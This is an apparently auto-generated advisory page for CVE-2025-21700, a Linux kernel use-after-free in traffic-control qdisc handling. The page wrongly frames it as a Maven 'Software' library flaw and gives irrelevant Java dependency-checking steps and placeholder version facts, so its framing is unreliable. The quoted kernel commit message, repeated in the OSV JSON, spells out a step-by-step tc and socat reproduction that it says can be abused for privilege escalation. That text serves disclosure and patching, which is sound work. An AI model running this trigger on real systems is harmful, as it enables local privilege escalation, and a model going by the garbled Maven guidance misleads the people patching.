CVE-2025-21700: Software Security Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-r79j-x479-2vhw
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CVSS 7.8
CWE-416
Published
Advisory Summary

CVE-2025-21700 is a HIGH (CVSS 7.8) security vulnerability vulnerability (CWE-416: Use After Free) affecting Software libraries in the Maven ecosystem. The weakness occurs when the product reuses or references memory after it has been freed. at some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.. Remediation is available in the latest vendor maintenance releases.

CVE-2025-21700 at a Glance

CVE Identifier CVE-2025-21700
GHSA Identifier GHSA-r79j-x479-2vhw
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-416: Use After Free
Affected Product Software
Package Ecosystem Maven
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-21700

To remediate this vulnerability, upgrade all affected Software dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

mvn dependency:tree

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2025-21700, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree

Analyze the terminal output to locate any version of Software in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: The mvn dependency:tree command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-416: Use After Free, where the product reuses or references memory after it has been freed. at some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer. In Software, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

References

NVD — CVE-2025-21700 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-21700
cert-portal.siemens.com/productcert/html/ss... WEB
https://cert-portal.siemens.com/productcert/html/ssa-784472.html
git.kernel.org/stable/c/38646749d6... WEB
https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d
git.kernel.org/stable/c/46c59ec33e... WEB
https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc
git.kernel.org/stable/c/73c7e1d689... WEB
https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70
git.kernel.org/stable/c/7e2bd8c13b... WEB
https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8
git.kernel.org/stable/c/bc50835e83... WEB
https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f
git.kernel.org/stable/c/cd796e2691... WEB
https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97
git.kernel.org/stable/c/deda09c054... WEB
https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf
git.kernel.org/stable/c/fe18c21d67... WEB
https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b
lists.debian.org/debian-lts-announce... WEB
https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html
lists.debian.org/debian-lts-announce... WEB
https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html

Frequently Asked Questions

What is CVE-2025-21700?
CVE-2025-21700 is a security vulnerability in Software classified as a security vulnerability vulnerability under CWE-416: Use After Free.
Which Software versions are affected?
Affected versions include releases prior to current release patches.
What version fixes CVE-2025-21700?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
What is the CVSS score of CVE-2025-21700?
CVE-2025-21700 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-21700?
CVE-2025-21700 is classified under CWE-416: Use After Free (The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.).
How can I check Maven dependencies for CVE-2025-21700?
Run the dependency tree command: 'mvn dependency:tree'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
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  "id" : "GHSA-r79j-x479-2vhw",
  "modified" : "2026-10-15T03:34:29Z",
  "published" : "2025-02-13T12:31:07Z",
  "aliases" : [ "CVE-2025-21700" ],
  "details" : "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12.  send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13.  send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ ],
  "references" : [ {
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  }, {
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    "url" : "https://cert-portal.siemens.com/productcert/html/ssa-784472.html"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d"
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    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf"
  }, {
    "type" : "WEB",
    "url" : "https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
  } ],
  "database_specific" : {
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    "severity" : "HIGH",
    "github_reviewed" : false,
    "github_reviewed_at" : null,
    "nvd_published_at" : "2025-02-13T12:15:27Z"
  }
}